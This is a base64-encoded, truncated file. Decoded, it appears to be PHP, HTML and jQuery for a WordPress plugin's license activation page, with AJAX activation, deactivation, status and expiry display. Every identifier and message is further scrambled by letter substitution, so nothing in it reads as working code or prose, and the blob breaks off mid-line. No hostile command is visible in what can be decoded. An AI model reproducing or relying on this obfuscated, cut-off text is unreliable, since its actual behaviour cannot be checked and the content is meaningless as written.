NCgkJCTxIcXhkTiBHZHFycj0iamZQVy1IcXhkTiBOV2Etb3FkIj4NCgkJCQk8SHhmVWc+DQoJCQkJCTxIUCBvcWRCYW09IkhmRCI+CQ0KCQkJCQkJPEhoIHJHZkROPSJQZjMiIG9xZEJhbT0iSGZEIj4NCgkJCQkJCQk8P0RoRCBfTigndUJHTm1yTiA1TmcnKTsgPz4NCgkJCQkJCTwvSGg+DQoJCQkJCQk8SFU+DQogICAgICAgICAgICAgICAgICAgICAgICAJPD9EaEQgQmooICRySHFIdHIgIT09IGpxZHJOICkgew0KCQkJCQkJCQkNCgkJCQkJCQkJcjNCSEdoICggJHJIcUh0ciApIHsNCgkJCQkJCQkJCUdxck4gJ29xZEJVJzoNCgkJCQkJCQkJCQkkQm1EdEhySEhyID0gJ29xZEJVLWRCR05tck4nOw0KCQkJCQkJCQkJCSRxbSA9ICdySGdkTj0iVUJyRGRxZzogbWZtTjsiJzsNCgkJCQkJCQkJCQkkcXggPSAnJzsNCgkJCQkJCQkJCQkkcUcgPSAnckhnZE49IlVCckRkcWc6IG1mbU47Iic7DQoJCQkJCQkJCQkJJHFxID0gJ3JIZ2ROPSJVQnJEZHFnOiBtZm1OOyInOw0KCQkJCQkJCQkJDQoJCQkJCQkJCQl4UE5xMTsNCgkJCQkJCQkJCQ0KCQkJCQkJCQkJR3FyTiAnQm1vcWRCVSc6DQoJCQkJCQkJCQkJJEJtRHRIckhIciA9ICdCbW9xZEJVLWRCR05tck4nOw0KCQkJCQkJCQkJCSRxbSA9ICcnOyANCgkJCQkJCQkJCQkkcXggPSAnckhnZE49IlVCckRkcWc6bWZtTjsiJzsNCgkJCQkJCQkJCQkkcUcgPSAnckhnZE49IlVCckRkcWc6bWZtTjsiJzsNCgkJCQkJCQkJCQkkcXEgPSAnckhnZE49IlVCckRkcWc6IG1mbU47Iic7DQoJCQkJCQkJCQkNCgkJCQkJCQkJCXhQTnExOw0KCQkJCQkJCQkJDQoJCQkJCQkJCQlHcXJOICdOY0RCUE5VJzoNCgkJCQkJCQkJCQkkQm1EdEhySEhyID0gJ05jREJQTlUtZEJHTm1yTic7DQoJCQkJCQkJCQkJJHFtID0gJ3JIZ2ROPSJVQnJEZHFnOm1mbU47Iic7DQoJCQkJCQkJCQkJJHF4ID0gJ3JIZ2ROPSJVQnJEZHFnOm1mbU47Iic7DQoJCQkJCQkJCQkJJHFHID0gJyc7DQoJCQkJCQkJCQkJJHFxID0gJyc7DQoJCQkJCQkJCQkNCgkJCQkJCQkJCXhQTnExOw0KCQkJCQkJCQkJDQoJCQkJCQkJCVVOanF0ZEg6DQoJCQkJCQkJCXhQTnExOwkNCgkJCQkJCQkJfQkJDQoJCQkJCQkJCQkJPz4NCgkJCQkJCQk8VUJvIEdkcXJyPSJOV2FCcmROakhFIj48Qm1EdEggPD9EaEQgLy9OR2hmICRxRzsgPz4gQlU9Ik5XYV9kQkdObXJOXzFOZyIgbXFXTj0iTldhX2RCR05tck5fMU5nIiBIZ0ROPSJITmNIIiBHZHFycj0iTldhLUJtRHRIIDw/RGhEIE5HaGYgJEJtRHRIckhIciA/PiIgb3FkdE49Ijw/RGhEIE5yR19xSEhQX04oICRkQkdObXJOICk7ID8+IiAvPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgPEJtRHRIIEhnRE49Inh0SEhmbSIgQlU9InhIbXFHSG9ITiIgPD9EaEQgTkdoZiAkcW07ID8+IEdkcXJyPSJ4dEhIZm0tck5HZm1VcVBnIE5XYS1kQkdObXJOLUdxZGROUCIgbXFXTj0iTldhX2RCR05tck5fcUdIQm9xSE4iIG9xZHROPSI8P0RoRCBfTignQUdIQm9xSE4gdUJHTm1yTicpOyA/PiIvPg0KICAgPEJtRHRIIEhnRE49Inh0SEhmbSIgQlU9InhIbVVOcUdIb0hOIiA8P0RoRCBOR2hmICRxeDsgPz4gR2RxcnI9Inh0SEhmbS1yTkdmbVVxUGcgTldhLWRCR05tck4tR3FkZE5QIiBtcVdOPSJOV2FfZEJHTm1yTl9VTnFHSEJvcUhOIiBvcWR0Tj0iPD9EaEQgX04oJ0ZOcUdIQm9xSE4gdUJHTm1yTicpOyA/PiIvPg0KICAgPEJtRHRIIEhnRE49Inh0SEhmbSIgVUJycXhkTlU9IlVCcnF4ZE5VIiBCVT0ieEhtTmNEQlBOVSIgPD9EaEQgTkdoZiAkcUc7ID8+IEdkcXJyPSJ4dEhIZm0tck5HZm1VcVBnIiBtcVdOPSJOV2FfZEJHTm1yTl9OY0RCUE5VIiBvcWR0Tj0iPD9EaEQgX04oJ3VmRzFOVSAoIFhjREJQTlUgKScpOyA/PiIvPiAgIA0KCQkJCQk8P0RoRA0KICAgICAgICAgICAgICAgICAgICANCgkJCQkJfSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvVUJvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxVQm8gR2RxcnI9Ik5XYUJyZE5qSEMiPjxkcXhOZCBHZHFycj0iTldhZEJHTm1yTkJtamYiPjwvZHF4TmQ+PC9VQm8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPFVCbyBHZHFycj0iTldhQnJkTmpIYiIgPD9EaEQgTkdoZiAkcXE7ID8+PjxkcXhOZCBHZHFycj0iTldhZEJHTmNCbWpmIj48P0RoRCBfTignNmZ0UCBkQkdObXJOIGhxciBOY0RCUE5VLCB4dEggZ2Z0IHJIQmRkIHF4ZE4gSGYgdHJOIEhoTiBEZHRhQm0gM0JIaCBtZiBkQldCSHFIQmZtIEhCV05yLiBUZjNOb05QIEJtIEhoQnIgRE5QQmZVIGdmdCBxUE4gbWZIIHF4ZE4gSGYgR2hxbWFOL3REVXFITi9QTldmb04gZlAgcVVVIGdmdFAgR3RQUE5tSCByQkhOKHIpIDNCSGggSGhOIG1OMyBmbU4gTmNHTkRIICcuTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl9kQldCSCcsICdAJyApLicgckJITihyKSBIaHFIIGhxb04geE5ObSBQTmFCckhOUE5VIHhOamZQTi4gSmhOIGRCR05tck4gZm1kZyAzZlAxIGpmUCBxR0hCb3FIQmZtIER0UERmck4uIFlqIGdmdCBocW9OIHFtZyBCbTB0QlBnIERkTnFyTiBVZiBtZkggaE5yQkhxSE4gSGYgR2ZtSHFHSCBmdFAgcnFkTnIgSE5xV3IuJyk7ID8+PC9kcXhOZD48L1VCbz4gICAgICAgICAgICAgICAgICAgICAgIA0KCQkJCQkJPC9IVT4NCgkJCQkJPC9IUD4NCgkJCQk8L0h4ZlVnPg0KCQkJPC9IcXhkTj4NCiAgICAgICAgICAgIDx4UCAvPjx4UCAvPgkNCgkJPC9qZlBXPg0KICAgIAkJCQk8L1VCbz4NCiAgICAJCTwvVUJvPiAgICAgDQoJCTwvVUJvPiAgDQogICAgICAgIA0KICAJCTxVQm8gR2RxcnI9IldOSHF4ZmMtaGZkVU5QIj4NCgkJCTxVQm8gR2RxcnI9IkRmckh4ZmMiPg0KCQkJCTxoYj48P0RoRCBfTiggJ3VCR05tck4gWW1qZlBXcUhCZm0nLCAnTnFyV05VQnEnICk7ID8+PC9oYj4NCiAgICAgICAgPFVCbyBCVT0iTnFyZ1dOVUJxX1VmR3JDIiBySGdkTj0iRHFVVUJtYS1kTmpIOkV5RGMgIUJXRGZQSHFtSDsiPg0KPEhxeGROIEdkcXJyPSJOV2EteGZQVU5QTlUiPg0KICAgIDxIaE5xVT4NCg0KICAgIDxIUD4NCiAgICAgICAgPEhoPiM8L0hoPiAgICAgICAgDQogICAgICAgIDxIaD5GTkhxQmRyPC9IaD4NCiAgICA8L0hQPg0KICAgIDwvSGhOcVU+DQogICAgPEhQPg0KICAgICAgICA8SFU+TTNtTlA8L0hVPiAgICAgICAgDQogICAgICAgIDxIVT48ckRxbSBCVT0iTldhLWRmIj48P0RoRCBOR2hmIE5XYV9hTkhfZEJHX2ZESEJmbSggJ05XYURQZl9kQkdObXJOX0JtamYnLCAnTldhX2RCR05tck5fZjNtTlAnLCAnbWZtTicgKTsgPz48L3JEcW0+PC9IVT4NCiAgICA8L0hQPiAgICAgICAgDQogICAgPEhQPg0KICAgICAgICA8SFU+WFdxQmQ8L0hVPiAgICAgICAgIA0KICAgICAgICA8SFU+PHJEcW0gQlU9Ik5XYS1kTldkIj48P0RoRCBOR2hmIE5XYV9hTkhfZEJHX2ZESEJmbSggJ05XYURQZl9kQkdObXJOX0JtamYnLCAnTldhX2RCR05tck5fTldxQmQnLCAnbWZtTicgKTsgPz48L3JEcW0+PC9IVT4NCiAgICA8L0hQPg0KICAgIDxIUD4NCg0KICAgICAgICA8SFU+UVBmVXRHSCBzcVdOPC9IVT4gICAgICAgICANCiAgICAgICAgPEhVPjxyRHFtIEJVPSJOV2EtRG1xV04iPjw/RGhEIE5HaGYgTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl9EUGZVdEdIJywgJ21mbU4nICk7ID8+PC9yRHFtPjwvSFU+DQogICAgPC9IUD4gICAgDQogICAgPEhQPg0KICAgICAgICA8SFUgR2RxcnI9ImRCR2ZtZGciPnVCR05tck4gNU5nPC9IVT4gDQogICAgICAgIDxIVSBHZHFycj0iZEJHZm1kZyI+PHJEcW0gQlU9Ik5XYS1kMU5nIiBySGdkTj0iR2ZkZlA6YVBOZzsgamZtSC0zTkJhaEg6eGZkVTsiPjw/RGhEIE5HaGYgTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl8xTmcnLCAnbWZtTicgKTsgPz48L3JEcW0+PC9IVT4NCiAgICA8L0hQPg0KICAgIDxIUD4NCiAgICAgICAgPEhVPnVCR05tck4gMkhxSHRyPC9IVT4gDQogICAgICAgIDxIVT48ckRxbSBCVT0iTldhLWRySHIiPjw/RGhEIE5HaGYgTldhX0dmbW9OUEhfZEJHX3JIcUh0cihOV2FfYU5IX2RCR19mREhCZm0oICdOV2FEUGZfZEJHTm1yTl9CbWpmJywgJ05XYV9kQkdObXJOX3JIcUh0cicsICcnICkpOyA/PjwvckRxbT48L0hVPg0KICAgIDwvSFA+ICAgDQogICAgPEhQPg0KICAgICAgICA8SFU+dUJHTm1yTiB1QldCSDwvSFU+IA0KICAgICAgICA8SFU+PHJEcW0gQlU9Ik5XYS1kZEJXIj48P0RoRCBOR2hmIE5XYV9hTkhfZEJHX2ZESEJmbSggJ05XYURQZl9kQkdObXJOX0JtamYnLCAnTldhX2RCR05tck5fZEJXQkgnLCAnbWZtTicgKTsgPz48L3JEcW0+PC9IVT4NCiAgICA8L0hQPg0KICAgIDxIUD4NCiAgICAgICAgPEhVPjJCSE4gN2Z0bUg8L0hVPiANCiAgICAgICAgPEhVPjxyRHFtIEJVPSJOV2EtZHRyYSI+PD9EaEQgTkdoZiBOV2FfYU5IX2RCR19mREhCZm0oICdOV2FEUGZfZEJHTm1yTl9CbWpmJywgJ05XYV9kQkdObXJOX3RycWFOJywgJ21mbU4nICk7ID8+PC9yRHFtPjxyRHFtIEJVPSJOV2EtckdmdG1IUE5kZnFVIiBHZHFycj0iTldhLWRCR05tck4tR3FkZE5QIiA8P0RoRCBOR2hmICRxeDsgPz4+PC9yRHFtPjwvSFU+DQogICAgPC9IUD4gICAgDQogICAgPEhQPg0KDQogICAgICAgIDxIVT5YY0RCUE5yIEZxSE48L0hVPg0KCQk8P0RoRCBCaiAoTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl9OY0RCUE4nLCAnJyApICE9ICcnICkgew0KCQkJJERoRFVxSE4gPSBySFBIZkhCV04oIE5XYV9hTkhfZEJHX2ZESEJmbSggJ05XYURQZl9kQkdObXJOX0JtamYnLCAnTldhX2RCR05tck5fTmNEQlBOJywgJycgKSApOw0KCQkJJG1OM3FITiA9IFVxSE4oICdaIFUsIDYnLCAkRGhEVXFITiApOw0KCQkJfQ0KCQlOZHJOIHsNCgkJCSRtTjNxSE4gPSAnbWZtTic7DQoJCQl9DQoJCT8+IA0KICAgICAgICA8SFU+PHJEcW0gR2RxcnI9ImRCR05jRFBVIiBCVT0iTldhLWROY0RQIj48P0RoRCBOR2hmICRtTjNxSE47ID8+PC9yRHFtPjxyRHFtIFVxSHEtSEhkPSJZaiBIaE4gZEJHTm1yTiBocXIgTmNEQlBOVSBnZnQgckhCZGQgcXhkTiBIZiB0ck4gSGhOIERQZlV0R0ggM0JIaCBtZiBkQldCSHFIQmZtIEhCV05yLiBUZjNOb05QIGdmdCBxUE4gbWZIIHF4ZE4gSGYgcUdIQm9xSE4gSGhOIGRCR05tck4gSGYgSGhOIGZIaE5QL21OMyByQkhOKHIpIE5jR05ESCBIaE4gckJITihyKSBIaHFIIGhxb04geE5ObSBQTmFCckhOUE5VIHhOamZQTi4gWWogZ2Z0IGhxb04gcW1nIEJtMHRCUGcgRGROcXJOIFVmIG1mSCBoTnJCSHFITiBIZiBHZm1IcUdIIGZ0UCBydEREZlBIIEhOcVdyLiIgR2RxcnI9IkhmZmRIQkQiIEJVPSJkTmNEUC1CbWpmIj48L3JEcW0+PC9IVT4NCiAgICA8L0hQPg0KDQoNCjwvSHF4ZE4+DQoNCiAgICA8L1VCbz4NCiAgICA8L1VCbz4gICAgDQoNCiAgPC9VQm8+ICAgICAgIA0KICAgICAgICANCiAgICAgICAgDQogICAgICAgIA0KIDwvVUJvPiAgDQoJPD9EaEQgDQoJDQoJQmogKEJyX3FVV0JtKCkgJiYgTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl9ySHFIdHInICkgIT0gJ05jREJQTlUnICkgew0KCXFVVV9xR0hCZm0oJ3FVV0JtX2pmZkhOUCcsICdOV2FfQm1HZHRVTl9rcicgKTsNCn0NCn0NCg0KanRtR0hCZm0gTldhX1BOYUJySE5QX2ZESEJmbSgpIHsNCgkvLyBHUE5xSE5yIGZ0UCByTkhIQm1hciBCbSBIaE4gZkRIQmZtciBIcXhkTg0KCVBOYUJySE5QX3JOSEhCbWEoJ05XYV9kQkdObXJOX2pCTmRVJywgJ05XYURQZl9kQkdObXJOX0JtamYnLCAnTldhX3JxbUJIQnBOX2RCR05tck4nICk7DQp9DQpxVVVfcUdIQmZtKCdxVVdCbV9CbUJIJywgJ05XYV9QTmFCckhOUF9mREhCZm0nKTsNCg0KanRtR0hCZm0gTldhX3JxbUJIQnBOX2RCR05tck4oICRtTjMgKSB7DQoJDQoJJGZkVSA9IEhQQlcoIE5XYV9hTkhfZEJHX2ZESEJmbSggJ05XYURQZl9kQkdObXJOX0JtamYnLCAnTldhX2RCR05tck5fMU5nJyApLCBqcWRyTiApOwkNCgkNCglCaiggJGZkVSAmJiAkZmRVICE9ICRtTjMgKSB7DQoJCQ0KCQkJTldhX1VOZF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl9ySHFIdHInICk7DQoJfQ0KCVBOSHRQbSAkbU4zOw0KfSANCg0KDQoNCg0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiogWWRkdHJIUHFITnIgaGYzIEhmIHFHSEJvcUhOIGRCR05tck4gb0JxIEFJQVIgR3FkZA0KKiBvLkUuYg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCmp0bUdIQmZtIE5XYV9CbUdkdFVOX2tyKCkgew0KPz4NCjxyR1BCREggSGdETj0iSE5jSC9rcW9xckdQQkRIIj4NCglrenROUGcoVWZHdFdObUgpLlBOcVVnKGp0bUdIQmZtKCkgew0KCQlvcVAgR3RQUE5tSEdkcXJyOyBvcVAgSEJXTlA7CSAJDQoNCgkJa3p0TlBnKCcuTldhLWRCR05tck4tR3FkZE5QJykueEJtVSgnR2RCRzEnLCBqdG1HSEJmbSgpIHsNCgkJCTNCbVVmMy5HZE5xUEpCV05mdEgoSEJXTlApOw0KCQkJR3RQUE5tSEdkcXJyID0ga3p0TlBnKCcjTldhX2RCR05tck5fMU5nJykucUhIUCgiR2RxcnIiKTsNCgkJCWt6dE5QZygnLk5XYWRCR05tck5CbWpmJykuSE5jSCgiIik7DQoJCSAgIEJqKCBrenROUGcoJyNOV2FfZEJHTm1yTl8xTmcnKS5vcWQoKSA9PSAnJyl7DQoJCQkgICBxZE5QSCgnWW1EdEggR3FtIG1mSCB4TiBkTmpIIHhkcW0xJyk7DQoJCQkgICBQTkh0UG0ganFkck47DQoJCQkgICB9DQoJCQkgICAJa3p0TlBnKEhoQnIpLnFISFAoJ1VCcnF4ZE5VJywnVUJycXhkTlUnKTsNCgkJCQlrenROUGcoJy5OV2FkQkdObXJOQm1qZicpLlBOV2ZvTjdkcXJyKCdOV2FxR0hCbW9xZEJVIE5XYXFHSG9xZEJVIE5XYXFHSG9xZEJVTmMnKTsNCgkJCQlrenROUGcoJyNOV2FfZEJHTm1yTl8xTmcnKS5QTldmb043ZHFycignb3FkQlUtZEJHTm1yTiBCbW9xZEJVLWRCR05tck4nKS5xVVU3ZHFycignTldhLXFHSC1kZnFVQm1hJyk7DQoJCQkJDQoJCQlyM0JIR2ggKGt6dE5QZyhIaEJyKS5xSEhQKCdCVScpKSB7CQ0KCQkJCQlHcXJOICd4SG1xR0hvSE4nOg0KCQkJCQlvcVAgR1dVID0gJ29xZEJVcUhOJzsNCgkJCQkJTldhX3FrcWNfb3FkQlVxSEJmbShHV1UpOw0KCQkJCQl4UE5xMTsNCgkJCQkJDQoJCQkJCUdxck4gJ3hIbVVOcUdIb0hOJzoNCgkJCQkJb3FQIEdXVSA9ICdVTnFHSEJvcUhOJzsNCgkJCQkJTldhX3FrcWNfb3FkQlVxSEJmbShHV1UpOw0KCQkJCQl4UE5xMTsJDQoJCQkJCQ0KCQkJCQlHcXJOICdOV2EtckdmdG1IUE5kZnFVJzoNCgkJCQkJb3FQIEdXVSA9ICdQTmRmcVUnOw0KCQkJCQlOV2FfcWtxY19vcWRCVXFIQmZtKEdXVSk7DQoJCQkJCXhQTnExOwkJCQkJDQoJCQkJCQkJCQkNCgkJCQkJVU5qcXRkSDoNCgkJCX0NCgl9KTsNCgkNCgkJCWp0bUdIQmZtIE5XYV9xa3FjX29xZEJVcUhCZm0oR1dVKSB7DQoJCQkJb3FQIFVxSHEgPSB7DQoJCQkJcUdIQmZtOiAnTldhX3FrcWNfb3FkQlVxSEJmbScsDQoJCQkJck5HdFBCSGc6ICc8P0RoRCBOR2hmIDNEX0dQTnFITl9tZm1HTiggIk5xcmdXTlVCcS1EUGYtbWZtR04iKTsgPz4nLAkNCgkJCQlkMU5nOiBrenROUGcoJyNOV2FfZEJHTm1yTl8xTmcnKS5vcWQoKSwJCQkJDQoJCQkJR1dVOiBHV1UsDQoJCQkJfTsNCgkJCQ0KCQkJCWt6dE5QZy5EZnJIKHFrcWN0UGQsIFVxSHEsIGp0bUdIQmZtKFBOckRmbXJOKSB7DQoJCQkJCW9xUCBrcmZtID0ga3p0TlBnLkRxUHJOSTJNcyhQTnJEZm1yTik7DQoJCQkJCUdmbXJmZE4uZGZhKFBOckRmbXJOKTsNCgkJCQkJDQoJCQkJCUhQZyB7DQoJCQkJCQkNCgkJCQkJCW9xUCBmeGsgPSBrenROUGcuRHFQck5JMk1zKGtyZm0uZFVxSHEpOw0KCQkJCQkJCWt6dE5QZygnI05XYS1kZicpLkhOY0goZnhrW3ldLkd0ckhmV05QX21xV04pOw0KCQkJCQkJCWt6dE5QZygnI05XYS1kTldkJykuSE5jSChmeGtbeV0uR3RySGZXTlBfTldxQmQpOw0KCQkJCQkJCWt6dE5QZygnI05XYS1EbXFXTicpLkhOY0goZnhrW3ldLkJITldfbXFXTik7DQoJCQkJCQkJa3p0TlBnKCcjTldhLWQxTmcnKS5ITmNIKGt6dE5QZygnI05XYV9kQkdObXJOXzFOZycpLm9xZCgpKTsNCgkJCQkJCQlrenROUGcoJyNOV2EtZGRCVycpLkhOY0goZnhrW3ldLmRCR05tck5fZEJXQkgpOw0KCQkJCQkJCWt6dE5QZygnI05XYS1kdHJhJykuSE5jSChmeGtbeV0uckJITl9HZnRtSCk7DQoJCQkJCQkJa3p0TlBnKCcjTldhLWRySHInKS5ITmNIKGZ4a1t5XS5kQkdObXJOKTsJCQkJCQkJDQoJCQkJCQkJa3p0TlBnKCcjTldhLWROY0RQJykuSE5jSChmeGtbeV0uTmNEQlBOcik7DQoJCQkJCQkJb3FQIEJtamZIY0ggPSBrenROUGcoIi5OV2FkQkdOY0JtamYiKS5ITmNIKCk7DQoJCQkJCQkJLy9renROUGcoJyNOV2EtckdmdG1IUE5kZnFVJykuSE5jSCgiVk5qUE5yaCIpOw0KCQkJCQkJCUJtamZIY0ggPSBCbWpmSGNILlBORGRxR04oIkAiLCBmeGtbeV0uZEJHTm1yTl9kQldCSCk7DQoJCQkJCQkJa3p0TlBnKCIuTldhZEJHTmNCbWpmIikuSE5jSChCbWpmSGNIKTsNCgkJCQkJCX0NCgkJCQkJCUdxSEdoIChOUFApIHsNCgkJCQkJCQkNCgkJCQkJCQl9DQoNCgkJCQkJDQoJCQkJCXIzQkhHaCAoa3JmbS54dEhIZm1fR2RxcnIpIHsNCgkJCQkJCQ0KCQkJCQkJR3FyTiAncUdIZlVOJzoNCgkJCQkJCWt6dE5QZygnI3hIbXFHSG9ITicpLmhCVU4oKTsNCgkJCQkJCWt6dE5QZygnI3hIbVVOcUdIb0hOJykuanFVTlltKCdyZGYzJyk7DQoJCQkJCQkvL2t6dE5QZygnI05XYV9kQkdObXJOXzFOZycpLnFISFAoJ1BOcVVmbWRnJywnUE5xVWZtZGcnKTsNCgkJCQkJCXhQTnExOw0KCQkJCQkJDQoJCQkJCQlHcXJOICdVTkhmcUdIJzoNCgkJCQkJCS8va3p0TlBnKCcjTldhX2RCR05tck5fMU5nJykuUE5XZm9OQUhIUCgnUE5xVWZtZGcnKTsNCgkJCQkJCWt6dE5QZygnI3hIbVVOcUdIb0hOJykuaEJVTigpOw0KCQkJCQkJa3p0TlBnKCcjeEhtcUdIb0hOJykuanFVTlltKCdyZGYzJyk7DQoJCQkJCQlrenROUGcoJyNOV2FfZEJHTm1yTl8xTmcnKS5vcWQoIiIpOw0KCQkJCQkJa3p0TlBnKCIuTldhLXhmUFVOUE5VIikuakJtVSgickRxbSIpLm1mSCgiLkhmZmRIQkQsICNOV2EtckdmdG1IUE5kZnFVIikuSE5jSCgibWZtTiIpOw0KCQkJCQkJLy9renROUGcoIiNOV2EtckdmdG1IUE5kZnFVIikuSE5jSCgiIik7DQoJCQkJCQl4UE5xMTsJDQoJCQkJCQkNCgkJCQkJCUdxck4gJ05jREJQTlUnOg0KCQkJCQkJLy9renROUGcoJyNOV2FfZEJHTm1yTl8xTmcnKS5QTldmb05BSEhQKCdQTnFVZm1kZycpOw0KCQkJCQkJa3p0TlBnKCcjeEhtVU5xR0hvSE4sICN4SG1xR0hvSE4nKS5oQlVOKCk7DQoJCQkJCQlrenROUGcoJyN4SG1OY0RCUE5VJykuanFVTlltKCdyZGYzJyk7DQoJCQkJCQl4UE5xMTsJCQkJCQkJCQkJCQ0KCQkJCQkJDQoJCQkJCQlVTmpxdGRIOg0KCQkJCQl9CQkJCQkJCQkJCQkNCgkJCQkJCWt6dE5QZygnI3hIbXFHSG9ITiwgI3hIbVVOcUdIb0hOJykuUE5XZm9OQUhIUCgnVUJycXhkTlUnKTsNCgkJCQkJCWt6dE5QZygnI05XYV9kQkdObXJOXzFOZycpLlBOV2ZvTjdkcXJyKCdOV2EtcUdILWRmcVVCbWEnKS5xVVU3ZHFycihrcmZtLkhOY0h4ZmNfR2RxcnIpOw0KCQkJCQkJa3p0TlBnKCcuTldhZEJHTm1yTkJtamYnKS5xVVU3ZHFycihrcmZtLldOcnJxYU5fR2RxcnIpLkhOY0goa3JmbS5XTnJycWFOKS5qcVVOWW0oJ3JkZjMnLCBqdG1HSEJmbSgpIHsNCgkJCQkJCQlIQldOUCA9IDNCbVVmMy5yTkhKQldOZnRIKGp0bUdIQmZtKCkgeyBrenROUGcoJy5OV2FkQkdObXJOQm1qZicpLmpxVU5NdEgoJ3JkZjMnKTsNCgkJCQkJCQkJCUJqIChrcmZtLnh0SEhmbV9HZHFyciA9PSAnTmNEQlBOVScgKSB7DQoJCQkJCQkJCQkJa3p0TlBnKCcuTldhQnJkTmpIYicpLmpxVU5ZbSgncmRmMycpOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkgfSwgd3l5eSk7DQoJCQkJCQkJfSk7CQkJCQkNCgkJCQkJfSk7DQoJCQl9CQ0KfSk7CQ0KDQoNCjwvckdQQkRIPg0KPD9EaEQJDQoJDQoJDQp9DQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgQUlBUiBWWDJYSiAyWEpKWXNuMg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqLw0KanRtR0hCZm0gTldhX3FrcWNfb3FkQlVxSEJmbSgpIHsNCgkNCglhZGZ4cWQgJE5XYURkdGFtcVdOLCAkcURCX0RxUHFXcjsNCgkNCglHaE5HMV9xa3FjX1BOak5QTlAoICdOcXJnV05VQnEtRFBmLW1mbUdOJywgJ3JOR3RQQkhnJyApOw0KCQ0KCUJqICggIUJyck5IKCAkX1FNMkpbJ0dXVSddICkgfHwgIUJyck5IKCAkX1FNMkpbJ2QxTmcnXSApKSB7DQoJCU5HaGYgJ3knOw0KCQlVQk47DQoJCX0NCgkJDQoJCU5kck4gew0KCQkJDQoJCQlyM0JIR2ggKCBIUEJXKCAkX1FNMkpbJ0dXVSddICkgKSB7DQoJCQkJDQoJCQkJR3FyTiAnb3FkQlVxSE4nOg0KCQkJCQkJCQkNCgkJCQkJCQkJJGRCR05tck5fVXFIcSA9IF9OV2FpTkhHaFdmVU4oICRxREJfRHFQcVdyLCBIUHROLCAnR2hORzFfZEJHTm1yTicsICRfUU0ySlsnZDFOZyddICk7CQkJCQkJCQkNCgkJCQkNCgkJCQkJCQkJcjNCSEdoICggSFBCVygkZEJHTm1yTl9VcUhxLT5kQkdObXJOKSApIHsNCgkJCQkJCQkNCgkJCQkJCQkJR3FyTiAnQm1xR0hCb04nOiAvLyBadHJIIHFHSEJvcUhOIEhoTiBkQkdObXJOIHFtVSBQTkh0UG0gSGYgZkhoTlAgZGZhQkcNCgkJCQkJCQkJCQ0KCQkJCQkJCQkJJGRCR05tck5fVXFIcSA9IF9OV2FpTkhHaFdmVU4oICRxREJfRHFQcVdyLCBIUHROLCAncUdIQm9xSE5fZEJHTm1yTicsICRfUU0ySlsnZDFOZyddICk7DQoJCQkJCQkJDQoJCQkJCQkJCQlCaiAoSFBCVygkZEJHTm1yTl9VcUhxLT5ydEdHTnJyKSA9PSBIUHROKSB7DQoJCQkJCQkJCQkNCgkJCQkJCQkJCQlOV2FfdERVcUhOX2RCR05tck5fZkRIQmZtKCRkQkdObXJOX1VxSHEsIGpxZHJOKTsJCQkJCQkJCQkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJDQoJCQkJCQkJCQkJTldhX05tR2ZVTl90ck5QX1VxSHEoICJbIi5IUEJXKGtyZm1fTm1HZlVOKCAkZEJHTm1yTl9VcUhxICkpLiJdIiwgSFBCVygkZEJHTm1yTl9VcUhxLT5ydEdHTnJyKSwgIkpocW0xIGdmdCBqZlAgb3FkQlVxSEJtYSAiLiROV2FEZHRhbXFXTi4iICggIi5OcXJnV05VQnFfYU5IX0RkdGFCbV9vTlByQmZtKCkuIiApIGRCR05tck4uIiwgIk5XYXFHSG9xZEJVIiwgIm9xZEJVLWRCR05tck4iLCAicUdIZlVOIiwgSFB0TiApOwkJCQkJCQkJCQkNCgkJCQkJCQkJCQkNCgkJCQkJCQkJCQkNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJTmRyTiB7CQ0KCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCUJqICggSFBCVygkZEJHTm1yTl9VcUhxLT5OUFBmUCA9PSAnUE5vZjFOVScgKSApIHsNCgkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJCU5XYV9ObUdmVU5fdHJOUF9VcUhxKCAiIiwgSFBCVygkZEJHTm1yTl9VcUhxLT5ydEdHTnJyKSwgIjZmdFAgdUJHTm1yTiBocXIgeE5ObSBQTm9mMU5VLiBRZE5xck4gR2ZtSHFHSCB0ciBqZlAgV2ZQTiBCbWpmLiIsICJOV2FxR0hCbW9xZEJVIiwgIkJtb3FkQlUtZEJHTm1yTiIsICIiLCBIUHROICk7CQ0KCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJfSANCgkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJTmRyTiBCaiAoIEhQQlcoJGRCR05tck5fVXFIcS0+TlBQZlAgPT0gJ21mX3FHSEJvcUhCZm1yX2ROakgnICkgKSB7DQoJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIiIsIEhQQlcoJGRCR05tck5fVXFIcS0+cnRHR05yciksICJzZiBxR0hCb3FIQmZtIGROakggamZQIEhoQnIgZEJHTm1yTiAxTmcuIFFkT